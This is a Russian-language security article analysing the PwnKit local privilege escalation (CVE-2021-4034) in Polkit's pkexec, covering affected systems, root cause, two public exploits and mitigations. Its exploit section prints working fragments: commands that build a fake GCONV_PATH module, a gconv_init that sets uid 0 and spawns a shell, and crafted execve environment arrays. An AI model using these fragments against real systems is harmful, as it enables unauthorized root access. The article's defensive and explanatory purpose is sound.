Уязвимость библиотеки Polkit
Уязвимость библиотеки Polkit
Категория: Программы Теги: Уязвимости Опубликовано: 16 мая 2025

Уязвимость BDU:2022-00488 (CVE-2021-4034) библиотеки Polkit

Уязвимость BDU:2022-00488 (CVE-2021-4034), также известная как PwnKit, затрагивает компонент pkexec из библиотеки Polkit (PolicyKit), которая используется для управления правами доступа в Linux-системах. Уязвимость возникает из-за переполнения буфера при обработке аргументов командной строки и переменных окружения.

Анализ уязвимости

Уровень опасности: 7.8 (Высокий)
Вектор атаки: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

  1. AV:L (Вектор атаки: Локальный) – Требуется физический/локальный доступ к системе.

  2. AC:L (Сложность атаки: Низкая) – Простая эксплуатация уязвимости.

  3. PR:L (Привилегии: Низкие) – Нужны базовые права доступа.

  4. UI:N (Взаимодействие: Нет) – Участие пользователя не требуется.

  5. S:U (Область: Неизменная) – Влияет только на уязвимый компонент.

  6. C:H (Конфиденциальность: Высокое) – Полная утечка данных.

  7. I:H (Целостность: Высокое) – Критическое изменение данных/системы.

  8. A:H (Доступность: Высокое) – Серьёзное нарушение работоспособности.

Интерпретация: Уязвимость высокой опасности (7.8) требует локального доступа и базовых прав, но позволяет легко нарушить конфиденциальность, целостность и доступность системы. Риск обусловлен низкой сложностью эксплуатации и максимальным воздействием на ключевые аспекты безопасности.

Уязвим Polkit 0.105, который также используется в Bubblewrap  от 0.1.0 до 0.5.0.

Версии ОС с уязвимой библиотекой Polkit

  • Debian GNU/Linux 9
  • Debian GNU/Linux 10
  • Debian GNU/Linux 11
  • Ubuntu 18.04 LTS
  • Ubuntu 14.04 ESM
  • Ubuntu 20.04 LTS
  • Ubuntu 21.04
  • Ubuntu 16.04 ESM
  • Ubuntu 21.10
  • CentOS
  • Fedora
  • РЕД ОС 7.3
  • Astra Linux Special Edition 1.6
  • Astra Linux Special Edition 1.6 «Смоленск»
  • Astra Linux Common Edition 2.12 «Орёл»
  • Astra Linux Special Edition для «Эльбрус» 8.1 «Ленинград»
  • Astra Linux Special Edition 1.7
  • Astra Linux Common Edition 2.12.40 «Орёл»
  • Astra Linux Special Edition 4.7
  • ОС Аврора до 3.2.3.31 включительно
  • Альт 8 СП
  • ОСОН ОСнова Оnyx до 2.4.2
  • РОСА Кобальт 7.
  • ОС ОН «Стрелец» до 16.01.2023

Условия эксплуатации

  • Наличие pkexec версии ≤0.105.

  • Локальный доступ к системе (атакующий должен иметь возможность запустить код от имени непривилегированного пользователя).

  • Отсутствие патчей (исправление выпущено в январе 2022).

Технические детали

pkexec предназначен для выполнения команд с повышенными привилегиями. При запуске с пустым списком аргументов (argc=0) возникает ошибка обработки переменных окружения. Код pkexec пытается прочитать argv[1], который в этом случае указывает на первую переменную окружения (envp[0]), что приводит к выходу за границы массива (Out-of-Bounds Read/Write). Это позволяет перезаписать переменные окружения, например, GCONV_PATH, что используется для подмены конвертеров кодировок (gconv-modules) и выполнения произвольного кода.


Анализ эксплойтов

Рассмотрим два публичных эксплойта, демонстрирующих эксплуатацию уязвимости BDU:2022-00488 (CVE-2021-4034).

1. Эксплойт cve-2021-4034-poc.c

Цель: Заставить pkexec загрузить вредоносный модуль gconv через подмену GCONV_PATH.
Шаги:

  1. Создание поддельных файлов:

    mkdir -p 'GCONV_PATH=.'; touch 'GCONV_PATH=./pwnkit'; chmod a+x 'GCONV_PATH=./pwnkit'
    mkdir -p pwnkit; echo 'module UTF-8// PWNKIT// pwnkit 2' > pwnkit/gconv-modules
    • Каталог GCONV_PATH=. и файл pwnkit/gconv-modules указывают на использование пользовательского модуля конвертации.

  2. Генерация вредоносного shared object (pwnkit.so):

    void gconv_init() {
        setuid(0); 
        system("export PATH=/usr/bin; /bin/sh");
    }
    • Функция gconv_init выполняется при загрузке модуля, повышая привилегии до root.

  3. Запуск pkexec с подмененными переменными окружения:

    char *env[] = { "pwnkit", "PATH=GCONV_PATH=.", "CHARSET=PWNKIT", "SHELL=pwnkit", NULL };
    execve("/usr/bin/pkexec", (char*[]){NULL}, env);
    • PATH=GCONV_PATH=. заставляет pkexec искать gconv-модули в текущем каталоге.

    • Ошибка валидации SHELL=pwnkit приводит к вызову g_printerr, который загружает модуль из GCONV_PATH.

Результат: Выполнение /bin/sh с правами root.


2. Эксплойт pwnkit.c

Цель: Использование gconv через подмену argv и envp.
Ключевые элементы:

  • Манипуляция argv и envp:

    char *argv[] = { NULL };
    char *envp[] = { "pwn", "TERM=..", "PATH=GCONV_PATH=.", "CHARSET=BRUH", NULL };
    execve("/usr/bin/pkexec", argv, envp);
    • argc=0 приводит к чтению envp[0] как argv[1].

    • TERM=.. вызывает ошибку валидации, активируя g_printerr.

  • Использование CHARSET:
    Установка CHARSET=BRUH обходит проверку UTF-8, заставляя g_printerr использовать iconv для конвертации строки. Это приводит к загрузке модуля из GCONV_PATH=./pwn, где pwn — заранее подготовленный каталог с вредоносным кодом.

Результат: Аналогично первому эксплойту — выполнение шелла с правами root.


Условия эксплуатации и распространенность

  • Локальный доступ: Эксплойты требуют возможности запуска бинарного файла на целевой системе. Удаленная эксплуатация невозможна.

  • Использование Polkit:
    pkexec входит в состав многих Linux-дистрибутивов (Debian, CentOS, RHEL, Ubuntu и другие) и используется для администрирования прав, например:

    • Запуск системных утилит через графические интерфейсы (например, gnome-control-center).

    • Управление сервисами через systemd.


Методы защиты

  1. Обновление Polkit:
    Установить исправленную версию (≥0.105-31ubuntu2 для Ubuntu, ≥0.118 для других дистрибутивов).

  2. Отключение pkexec (если не используется):

    chmod 0755 /usr/bin/pkexec  # Удаление SUID-бита
  3. Ограничение прав через Mandatory Access Control:

    • Настройка SELinux или AppArmor для запрета выполнения произвольных модулей.

  4. Мониторинг аномалий:

    • Проверка подозрительных вызовов pkexec в логах (/var/log/auth.log).


Пример лога атаки

Jan 25 10:00:01 localhost pkexec[1234]: user: Error executing command; SHELL=pwnkit, PATH=GCONV_PATH=.
Алексей Черемных Алексей Черемных
71